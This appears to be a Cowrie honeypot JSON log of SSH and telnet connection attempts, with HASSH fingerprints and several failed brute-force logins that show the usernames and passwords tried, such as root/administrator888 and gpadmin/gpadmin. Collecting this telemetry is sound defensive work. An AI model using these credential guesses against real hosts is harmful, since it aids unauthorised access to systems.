{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:31.939929Z","src_ip":"122.168.114.167","session":"490f808da9fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.215.102.116","src_port":35806,"dst_ip":"10.17.0.5","dst_port":23,"session":"c480b272924e","protocol":"telnet","message":"New connection: 104.215.102.116:35806 (10.17.0.5:23) [session: c480b272924e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:32.125383Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.215.102.116","src_port":35808,"dst_ip":"10.17.0.5","dst_port":23,"session":"235861a57f4a","protocol":"telnet","message":"New connection: 104.215.102.116:35808 (10.17.0.5:23) [session: 235861a57f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:32.176430Z"}
{"eventid":"cowrie.session.closed","duration":30.632930755615234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:32.182053Z","src_ip":"185.173.227.163","session":"6c860dcb8f39","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:33.472878Z","src_ip":"122.168.114.167","session":"490f808da9fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.66718053817749,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:34.321397Z","src_ip":"185.173.227.163","session":"bdbb3601a074","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.827892780303955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:34.487668Z","src_ip":"185.173.227.163","session":"095321f180ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:35.208912Z","src_ip":"122.168.114.167","session":"490f808da9fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.215.102.116","src_port":35998,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d961f850c98","protocol":"telnet","message":"New connection: 104.215.102.116:35998 (10.17.0.5:23) [session: 9d961f850c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:38.939857Z"}
{"eventid":"cowrie.session.closed","duration":30.84541130065918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:41.606352Z","src_ip":"185.173.227.163","session":"c30f8527a178","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.173.227.163","src_port":44218,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b80e2b44062","protocol":"telnet","message":"New connection: 185.173.227.163:44218 (10.17.0.5:23) [session: 8b80e2b44062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:44.614354Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":50426,"dst_ip":"10.17.0.5","dst_port":22,"session":"f874bd94e47c","protocol":"ssh","message":"New connection: 186.80.18.158:50426 (10.17.0.5:22) [session: f874bd94e47c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:45.827268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:45.832410Z","src_ip":"186.80.18.158","session":"f874bd94e47c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.278496503829956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:45.877848Z","src_ip":"185.173.227.163","session":"42b2966c70a4","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:45.910003Z","src_ip":"186.80.18.158","session":"f874bd94e47c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator888","message":"login attempt [root/administrator888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:46.247231Z","src_ip":"186.80.18.158","session":"f874bd94e47c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:47.329698Z","src_ip":"186.80.18.158","session":"f874bd94e47c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.173.227.163","src_port":44232,"dst_ip":"10.17.0.5","dst_port":23,"session":"718565c0d326","protocol":"telnet","message":"New connection: 185.173.227.163:44232 (10.17.0.5:23) [session: 718565c0d326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:47.492489Z"}
{"eventid":"cowrie.session.closed","duration":30.537315130233765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:49.175072Z","src_ip":"185.173.227.163","session":"9cc71062909d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.173.227.163","src_port":44240,"dst_ip":"10.17.0.5","dst_port":23,"session":"65648b914728","protocol":"telnet","message":"New connection: 185.173.227.163:44240 (10.17.0.5:23) [session: 65648b914728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:50.694986Z"}
{"eventid":"cowrie.session.closed","duration":31.98927068710327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:51.023159Z","src_ip":"185.173.227.163","session":"85931bb8a60b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98991298675537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:51.154202Z","src_ip":"185.173.227.163","session":"ef309c2df291","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.466318130493164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:52.022846Z","src_ip":"185.173.227.163","session":"5c53fc79755a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":18112,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0061df53c5a","protocol":"ssh","message":"New connection: 159.223.45.177:18112 (159.203.135.109:22) [session: c0061df53c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:52.141349Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:54.914095Z","src_ip":"159.223.45.177","session":"c0061df53c5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.72337818145752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:03.899678Z","src_ip":"104.215.102.116","session":"235861a57f4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.77886724472046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:03.904011Z","src_ip":"104.215.102.116","session":"c480b272924e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.173.227.163","src_port":59238,"dst_ip":"10.17.0.5","dst_port":23,"session":"372abc8d63c9","protocol":"telnet","message":"New connection: 185.173.227.163:59238 (10.17.0.5:23) [session: 372abc8d63c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:05.055412Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.173.227.163","src_port":59248,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3398738bf6b","protocol":"telnet","message":"New connection: 185.173.227.163:59248 (10.17.0.5:23) [session: e3398738bf6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:06.052035Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60198,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b0aa7932c0e","protocol":"ssh","message":"New connection: 159.203.92.129:60198 (159.203.135.109:22) [session: 0b0aa7932c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:09.873606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:09.878347Z","src_ip":"159.203.92.129","session":"0b0aa7932c0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:09.882862Z","src_ip":"159.203.92.129","session":"0b0aa7932c0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"as","password":"123456","message":"login attempt [as/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:09.899422Z","src_ip":"159.203.92.129","session":"0b0aa7932c0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:10.906766Z","src_ip":"159.203.92.129","session":"0b0aa7932c0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.173.227.163","src_port":59252,"dst_ip":"10.17.0.5","dst_port":23,"session":"a41c4122021b","protocol":"telnet","message":"New connection: 185.173.227.163:59252 (10.17.0.5:23) [session: a41c4122021b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:11.412626Z"}
{"eventid":"cowrie.session.closed","duration":31.28196120262146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:15.896212Z","src_ip":"185.173.227.163","session":"8b80e2b44062","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":43418,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd60d6db1dc5","protocol":"telnet","message":"New connection: 185.26.126.47:43418 (159.203.135.109:23) [session: cd60d6db1dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:17.649008Z"}
{"eventid":"cowrie.session.closed","duration":30.829363107681274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:18.321722Z","src_ip":"185.173.227.163","session":"718565c0d326","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":40486,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f1d444f633b","protocol":"ssh","message":"New connection: 122.168.114.167:40486 (159.203.135.109:22) [session: 1f1d444f633b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:20.484889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:21.330837Z","src_ip":"122.168.114.167","session":"1f1d444f633b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:21.347050Z","src_ip":"122.168.114.167","session":"1f1d444f633b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.247833490371704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:21.942688Z","src_ip":"185.173.227.163","session":"65648b914728","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:27.047809Z","src_ip":"122.168.114.167","session":"1f1d444f633b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":36214,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ab51e82bd1d","protocol":"telnet","message":"New connection: 62.171.135.55:36214 (159.203.135.109:23) [session: 4ab51e82bd1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:28.676932Z"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:29.436779Z","src_ip":"122.168.114.167","session":"1f1d444f633b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":52514,"dst_ip":"159.203.135.109","dst_port":23,"session":"225d7a544788","protocol":"telnet","message":"New connection: 185.26.126.47:52514 (159.203.135.109:23) [session: 225d7a544788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:31.506257Z"}
{"eventid":"cowrie.session.closed","duration":31.37497615814209,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:36.430290Z","src_ip":"185.173.227.163","session":"372abc8d63c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.832056522369385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:37.883694Z","src_ip":"185.173.227.163","session":"e3398738bf6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.68497896194458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:43.095415Z","src_ip":"185.173.227.163","session":"a41c4122021b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":33456,"dst_ip":"10.17.0.5","dst_port":22,"session":"32715d538e90","protocol":"ssh","message":"New connection: 186.80.18.158:33456 (10.17.0.5:22) [session: 32715d538e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:44.801344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:44.806423Z","src_ip":"186.80.18.158","session":"32715d538e90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:44.881942Z","src_ip":"186.80.18.158","session":"32715d538e90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2022#","message":"login attempt [root/admin2022#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:45.226108Z","src_ip":"186.80.18.158","session":"32715d538e90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00169157981873,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:45.634455Z","src_ip":"196.41.210.156","session":"1af5c512534c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.41.210.156","src_port":39441,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbc04aa1c7d2","protocol":"telnet","message":"New connection: 196.41.210.156:39441 (10.17.0.5:23) [session: bbc04aa1c7d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:46.201741Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:46.303908Z","src_ip":"186.80.18.158","session":"32715d538e90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39004,"dst_ip":"159.203.135.109","dst_port":22,"session":"818ba813d51f","protocol":"ssh","message":"New connection: 159.203.92.129:39004 (159.203.135.109:22) [session: 818ba813d51f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:52.421579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:52.425886Z","src_ip":"159.203.92.129","session":"818ba813d51f","protocol":"ssh"}
